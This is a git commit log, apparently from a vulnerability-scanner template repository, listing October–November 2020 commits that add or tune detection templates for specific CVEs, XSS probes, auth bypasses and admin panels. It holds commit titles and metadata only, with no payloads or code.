Casper Guldbech Nielsen	e9b57b3e9a	Add cve-2020-26214 detection Signed-off-by: Casper Guldbech Nielsen <[email protected]>	2020-11-07 11:47:02 +01:00
bauthard	f8eaaae3cb	Merge pull request #604 from aancw/master Add Kibana Service Technology	2020-11-06 16:25:19 +05:30
bauthard	de55e6439d	Update kibana-detect.yaml	2020-11-06 16:24:02 +05:30
bauthard	beeb8ca5b7	Update jira-exploitaiton-workflow.yaml	2020-11-06 15:59:10 +05:30
bauthard	cd90698cb5	Adding cve-2019-3402	2020-11-06 15:58:11 +05:30
bauthard	740f726208	Merge pull request #605 from savushkin-yauheni/patch-2 add new vulns to wordpress-workflow.yaml	2020-11-06 13:55:20 +05:30
Zhenya Savushkin	7c1b99b2ac	add new vulns to wordpress-workflow.yaml	2020-11-06 10:53:49 +03:00
Aan	d2c0b785ba	Simplifying Yaml Format	2020-11-04 16:40:46 +07:00
Aan	9893610bb1	Add Kibana Service Technology	2020-11-04 15:49:18 +07:00
bauthard	6adbc5e25a	Merge pull request #603 from geeknik/patch-14 Update top-15-xss.yaml	2020-11-04 10:49:56 +05:30
Geeknik Labs	acae0a9d48	Update top-15-xss.yaml Fine tuning the template. Sometimes a host will redirect the original request to another page or subdomain and the XSS happens on that page instead of with the original request. I believe a max-redirects of 1 should be sufficient.	2020-11-03 18:00:38 +00:00
bauthard	449786eb6b	Merge pull request #600 from geeknik/patch-13 Update basic-xss-prober.yaml	2020-11-02 20:58:27 +05:30
bauthard	a32e2e7540	Update basic-xss-prober.yaml	2020-11-02 20:55:36 +05:30
Geeknik Labs	5e911f5cd9	Update basic-xss-prober.yaml Hoping to cut down on false positives by ignoring reflections from JSON API endpoints	2020-11-02 15:04:05 +00:00
bauthard	b239b4ff56	Merge pull request #599 from dwisiswant0/fix/CVE-2020-14882 Update CVE-2020-14882 payload & with positive matchers	2020-11-02 13:33:12 +05:30
Dwi Siswanto	b175c2117c	🔥 Update CVE-2020-14882 payload & with positive matchers	2020-11-02 14:23:12 +07:00
bauthard	73c94b174c	moved to another branch for the fix.	2020-11-01 12:53:33 +05:30
bauthard	278982a441	Merge pull request #598 from geeknik/patch-12 Update server-status-localhost.yaml	2020-10-31 11:07:27 +05:30
Geeknik Labs	a5f8b422e0	Update server-status-localhost.yaml	2020-10-30 20:33:50 +00:00
bauthard	8503dd1471	fixing mistake	2020-10-30 11:01:43 +05:30
bauthard	048cc7183c	Merge pull request #596 from dwisiswant0/add/CVE-2020-14882 Add CVE-2020-14882	2020-10-29 19:16:49 +05:30
Dwi Siswanto	baaba9036e	🔥 Add CVE-2020-14882	2020-10-29 19:58:49 +07:00
bauthard	3732e52842	Update globalprotect-panel.yaml	2020-10-29 17:21:44 +05:30
bauthard	0c3b87f943	Merge pull request #595 from projectdiscovery/z-xxe adding cve-2019-9670	2020-10-29 16:24:59 +05:30
bauthard	0c63ebfd8f	adding cve-2019-9670	2020-10-29 16:23:46 +05:30
bauthard	ece16666de	Merge pull request #594 from palaziv/master add template for CVE-2020-14864	2020-10-29 15:49:04 +05:30
bauthard	ca1c3e7f72	Update CVE-2020-14864.yaml	2020-10-29 15:43:50 +05:30
palaziv	54f73f80e1	add template for CVE-2020-14864	2020-10-29 10:54:06 +01:00
bauthard	341796530b	readme update	2020-10-28 10:23:42 +05:30
bauthard	e97d31d6ee	Merge pull request #550 from tungpun/patch-1 Updated exposed-svn.yaml to reduce F/P	2020-10-28 00:33:46 +05:30
bauthard	471636ffde	Update exposed-svn.yaml	2020-10-28 00:32:15 +05:30
bauthard	984113a638	Merge pull request #551 from tungpun/patch-2 Updated git-config.yam to reduce F/P	2020-10-28 00:29:11 +05:30
bauthard	cd63c3802d	matcher updates	2020-10-28 00:26:58 +05:30
bauthard	36fd5ee72f	Merge pull request #592 from projectdiscovery/sfo Added salesforce-aura-misconfig	2020-10-27 23:29:24 +05:30
bauthard	e6a4bd6668	Added salesforce-aura-misconfig	2020-10-27 23:25:12 +05:30
bauthard	03108440a9	Merge pull request #590 from Mad-robot/master Create CVE-2020-9344.yaml	2020-10-24 01:12:56 +05:30
SaN ThosH	3b1f0bf6f9	Create CVE-2020-9344.yaml	2020-10-23 11:59:51 +05:30
bauthard	5d2fb74906	Merge pull request #589 from CasperGN/seeems-cms Add detection of SEEEMS CMS	2020-10-23 02:17:55 +05:30
bauthard	e55d12c8de	Merge pull request #587 from dwisiswant0/add-vuln/wordpress-wpcourses-info-disclosure Add wordpress-wpcourses-info-disclosure	2020-10-23 02:16:07 +05:30
bauthard	b8b7067a53	Merge pull request #586 from geeknik/patch-11 Create generic-lfi.yaml	2020-10-23 02:14:56 +05:30
bauthard	023d38b3c2	moving folders	2020-10-23 02:14:24 +05:30
bauthard	0402f5ed89	Merge pull request #585 from random-robbie/patch-11 Create sassy-social-share.yaml	2020-10-23 02:09:12 +05:30
bauthard	c11b53eedb	Update sassy-social-share.yaml	2020-10-23 02:08:55 +05:30
Casper Guldbech Nielsen	f8c6b9672b	Add detection of SEEEMS CMS Signed-off-by: Casper Guldbech Nielsen <[email protected]>	2020-10-22 21:06:09 +02:00
bauthard	09f07ddce1	need to update this template	2020-10-22 10:23:57 +05:30
Dwi Siswanto	4e09270571	🔥 Add wordpress-wpcourses-info-disclosure	2020-10-20 23:46:12 +07:00
Geeknik Labs	c53142a75a	Create generic-lfi.yaml	2020-10-20 15:47:25 +00:00
Robbie	6a1ade3566	Create sassy-social-share.yaml	2020-10-20 16:28:01 +01:00
bauthard	7dda537278	Merge pull request #584 from Jarijaas/add-oidc-discovery Add oidc-detect	2020-10-20 17:50:08 +05:30
bauthard	fbab199d58	Update oidc-detect.yaml	2020-10-20 17:49:01 +05:30
Jari Jääskelä	b80d5a0c4e	Add oidc-detect	2020-10-19 22:50:55 +03:00
bauthard	4c949b01a1	Update .nuclei-ignore Hot fix for https://github.com/projectdiscovery/nuclei/issues/368	2020-10-18 16:21:35 +05:30
bauthard	87e4b03915	Merge pull request #580 from dwisiswant0/master Improves WAF detects	2020-10-18 15:13:14 +05:30
Dwi Siswanto	c91dda0d54	⚡ Improves WAF detects	2020-10-18 03:46:46 +07:00
bauthard	16d4a9243f	Merge pull request #579 from PR3R00T/patch-4 Adding manage-engine-ad-search.yaml	2020-10-17 23:46:28 +05:30
bauthard	72b597ace2	few updates	2020-10-17 23:43:00 +05:30
PR3R00T	ab338ef562	Removed trailing space on line 9	2020-10-17 17:56:53 +01:00
PR3R00T	37122da4db	Updated Space in comment	2020-10-17 17:55:34 +01:00
PR3R00T	ed90f2311b	Creating manage-engine-ad-search.yaml	2020-10-17 17:47:14 +01:00
bauthard	1cdeb45f8d	Merge pull request #577 from PR3R00T/patch-2 Adding Manage Engine ADManager Panel	2020-10-17 01:25:21 +05:30
bauthard	477d25f580	Merge pull request #578 from PR3R00T/patch-3 Adding SonicWALL Management Panel	2020-10-17 01:24:56 +05:30
bauthard	a29f62299f	Merge pull request #576 from PR3R00T/patch-1 Adding Sonicwall SSL VPN Web Panel	2020-10-17 01:24:34 +05:30
bauthard	5a3a1134f9	Update graphql.yaml	2020-10-16 23:09:52 +05:30
PR3R00T	b1198b32ab	Create sonicwall-management-panel.yaml	2020-10-16 11:21:52 +01:00
PR3R00T	704df33d48	Adding Manage Engine ADManager Panel	2020-10-16 10:58:09 +01:00
PR3R00T	d40428628c	Adding Sonicwall SSL VPN Web Panel	2020-10-16 10:27:38 +01:00
bauthard	ec50c8519e	Merge pull request #574 from dwisiswant0/add/vpms-auth-bypass Add Vehicle Parking Management System 1.0 - Authentication Bypass	2020-10-16 13:23:21 +05:30
bauthard	7f45530847	Merge pull request #573 from dwisiswant0/add/zms-auth-bypass Add Zoo Management Auth Bypass	2020-10-16 13:15:56 +05:30
bauthard	c912513e40	Merge pull request #575 from dwisiswant0/fix/cve-2020-7961 Update CVE-2020-7961	2020-10-16 11:34:23 +05:30
Dwi Siswanto	d9f53727c9	✏️ Escaping dot in extractors	2020-10-16 02:59:46 +07:00
Dwi Siswanto	b69d65fe7b	🔨 Update matchers using regexes	2020-10-16 02:58:54 +07:00
Dwi Siswanto	5885f7b7cc	🔥 Add VPMS Auth Bypass	2020-10-16 02:42:37 +07:00
Dwi Siswanto	8903773275	📝 Add more regex patterns	2020-10-16 02:32:52 +07:00
Dwi Siswanto	c098675c01	🔥 Add ZMS Auth Bypass	2020-10-16 02:30:42 +07:00
bauthard	3e7f7ef5ca	Merge pull request #572 from unstabl3/patch-1 Update swagger-panel.yaml	2020-10-16 00:25:03 +05:30
shubham chaskar	e4e6e6b497	Update swagger-panel.yaml Hi, The last pull request is causing an error! Updated the template accordingly! Thanks, shubham	2020-10-16 00:20:12 +05:30
bauthard	9bd306ab3f	matcher updates	2020-10-16 00:20:10 +05:30
bauthard	73920f8a78	Merge pull request #569 from geeknik/patch-10 Create magento-config.yaml	2020-10-15 23:34:44 +05:30
bauthard	972f666b1f	Update magento-config.yaml	2020-10-15 23:33:50 +05:30
bauthard	fc2624d79e	Update magento-config.yaml	2020-10-15 23:29:04 +05:30
bauthard	530d5122ed	Update magento-config.yaml	2020-10-15 23:27:19 +05:30
bauthard	42bf95426b	Update magento-config.yaml	2020-10-15 23:24:37 +05:30
bauthard	59e283e23c	syntax update	2020-10-15 23:21:29 +05:30
bauthard	d328d32fb3	Merge pull request #567 from dwisiswant0/fix/cve-2020-16952 Update methods & matchers for CVE-2020-16952	2020-10-15 23:17:11 +05:30
bauthard	5d34c7d0b9	Merge pull request #570 from dwisiswant0/add/rconfig-rce Add rConfig RCE	2020-10-15 23:15:47 +05:30
bauthard	afefe0e3b6	Merge pull request #568 from geeknik/patch-9 Create pi-hole-detect.yaml	2020-10-15 23:13:21 +05:30
bauthard	40b069ed34	Merge pull request #565 from gevakun/patch-1 Update swagger-panel.yaml	2020-10-15 23:05:46 +05:30
Dwi Siswanto	f899b78fa8	🔥 Add rConfig RCE	2020-10-16 00:26:11 +07:00
Geeknik Labs	76cec7e0fb	Create magento-config.yaml	2020-10-15 17:21:05 +00:00
Geeknik Labs	71d2b16a88	Create pi-hole-detect.yaml	2020-10-15 17:03:33 +00:00
bauthard	f31a8cfda9	Update swagger-panel.yaml	2020-10-15 22:16:02 +05:30
bauthard	3d06ffa549	Merge pull request #566 from gevakun/patch-2 Create workspace-one-uem.yaml	2020-10-15 22:06:23 +05:30
Dwi Siswanto	53c239b645	✏️ Escaping dots in patterns	2020-10-15 18:21:25 +07:00
Dwi Siswanto	31c8d723c1	🔥 Update methods & matchers for CVE-2020-16952	2020-10-15 17:27:52 +07:00
gevakun	0beac4fe00	Create workspace-one-uem.yaml	2020-10-15 17:15:57 +07:00
gevakun	33c78f8bc4	Update swagger-panel.yaml Reference: https://twitter.com/InsiderPhD/status/1280470587199152128 https://twitter.com/Yassineaboukir/status/1280248024858583043	2020-10-15 17:03:03 +07:00
bauthard	a154e9ea7d	Merge pull request #564 from gevakun/master Update graphql.yaml	2020-10-15 14:45:42 +05:30
gevakun	f10c8c8363	Update graphql.yaml Reference: https://twitter.com/sillydadddy/status/1309403695977648129/photo/1	2020-10-15 16:05:13 +07:00
bauthard	ace1f4ee25	Update wp-plugin-scan.yaml	2020-10-14 02:22:21 +05:30
bauthard	99cc39a4ef	updates	2020-10-14 02:20:08 +05:30
bauthard	15976d70b9	few updates	2020-10-14 02:12:49 +05:30
bauthard	8dc8566538	Update basic-auth-workflow.yaml	2020-10-14 00:03:18 +05:30
bauthard	1c4c6982d5	Adding basic auth detection / bruteforce / workflows	2020-10-13 23:55:28 +05:30
bauthard	5d3c429763	Adding Wordpress Plugin Scanner will be merged after next release of nuclei	2020-10-13 17:22:57 +05:30
Tung Pun	2908710e43	Updated git-config.yam to reduce F/P	2020-10-11 16:32:03 +07:00
Tung Pun	ff2cc5acb7	Updated exposed-svn.yaml to reduce F/P	2020-10-11 16:30:16 +07:00
toufik-airane	eb1a417534	Add README.py and update README.md Add a Python3 script named README.py to automatically update the README.md on triggers. Some stuffs is missing like the numbers of HTTP/DNS requests per template Directory. Feel free to contribute if you think it's reliable.	2020-09-09 19:23:19 +02:00